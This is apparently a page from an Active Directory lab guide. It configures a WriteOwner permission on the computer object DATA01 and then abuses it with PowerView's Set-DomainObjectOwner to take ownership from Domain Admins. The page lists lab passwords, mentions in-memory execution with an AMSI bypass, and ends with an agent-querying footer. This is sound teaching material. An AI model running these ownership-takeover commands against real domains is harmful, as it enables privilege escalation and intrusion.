# Write Owner

## Configuring

1. Login to `DC03` with the Administrator user and the password `Welcome01!`.
2. Open the "Active Directory Users and Computers" administration tool.

![](/files/v90VKfBZtkj0KADPP2zn)

3\. Click on "View" and enable "Advanced Features

<div align="left"><img src="/files/cQFWCA4ilxpY1gzLEYMA" alt=""></div>

4\. Click on the "Computers" directory and right click on the "DATA01" computer and select "Properties". Then select "Security" to see the ACL's.

5\. Click on "Add" and type `sa_sql`.

<div align="left"><img src="/files/9IYhxGjtOJ0xqHtEVY8H" alt=""></div>

6\. Select the "sa\_sql" user and click "Advanced". Then select the "sa\_sql" once again and click on "Edit". Then select "Modify Owner".

![](/files/EGiLNFOdQNhwrR0Y78j5)

7\. We can quickly run BloodHound to check if the correct permissions are applied to the `sa_sql` user:

![](/files/0hgBpnOkoh2H6mQa1r6z)

<div align="left"><img src="/files/n730DbzYBgB1LRJaqlEl" alt=""></div>

It is configured correctly!

## Attacking

### How it works

If a domain object has the WriteOwner ACL, the object can change the owner of the object. In this case the user `SA_SQL` can change the owner of the computerobject `DATA01`. Once you are "Owner" of a object, you can change the DACL of the object.

### Tools

* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)

### Executing the attack

1. Download PowerView on the kali machine and host it on a webserver:

```
wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
python3 -m http.server 8090
```

2\. Login to `WS01` as Richard with the password `Sample123`.

3\. Start PowerShell and download and execute an amsi and PowerView in memory:

<div align="left"><img src="/files/yXhRSr7ZDIu5V4VoNACt" alt=""></div>

4\. In the page DACL-Abuses I showed you how to check for ACL's using BloodHound. We will abuse the "Write Owner" ACL `sa_sql` has on `DATA01`.

<div align="left"><img src="/files/hMHmumiEHbhB1mMn7w1X" alt=""></div>

5\. With PowerView we can query the current owner of the computerobject `DATA01`. Since we are queering data from another domain, we will have to provide a username and password for that domain. Create a credential object using the `get-credential` cmdlet:

```
$creds = Get-Credential
```

Then we can use PowerView to query the domain controller from `secure.local` for the domain-object `DATA01` and retrieve the samaccountname and Owner attribute. We will receive a SID which we need to resolve aswell;

```
Get-DomainObject -Identity data01 -SecurityMasks Owner -Domain secure.local -Credential $creds -Server 10.0.0.100 | select samaccountname, Owner
Get-DomainObject -Identity S-1-5-21-1498997062-1091976085-892328878-512 -Domain secure.local -Credential $creds -Server 10.0.0.100
```

<div align="left"><img src="/files/Pu4eCrSJ8VwfHbgRhm4h" alt=""></div>

The current owner of the computerobject `DATA01` is the group `Domain Admins`.

6\. With PowerView we can change the owner of the object using the `Set-DomainObjectOwner` cmdlet.

```
Set-DomainObjectOwner -Domain secure.local -Credential $creds -Server 10.0.0.100 -Identity DATA01 -OwnerIdentity sa_sql -Verbose
```

<div align="left"><img src="/files/xZYjReRT7bgB8FRBCvcQ" alt=""></div>

7\. We didn't receive any errors, to lets use the same queries again to query the owner of the computerobject DATA01;

<div align="left"><img src="/files/I1FV0o830PXj3ylJA1h6" alt=""></div>

8\. We successfully changed the owner of the computerobject from `Domain Admins` to `sa_ql`. The next step will be on the Owns section:

{% content-ref url="/pages/BgXHpzkPLUzj81ysjIoL" %}
[Owns](/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/acl-abuses/owns.md)
{% endcontent-ref %}

## Defending

### Recommendations

### Detection

## References

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

{% embed url="<https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#writeowner>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/acl-abuses/page-2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
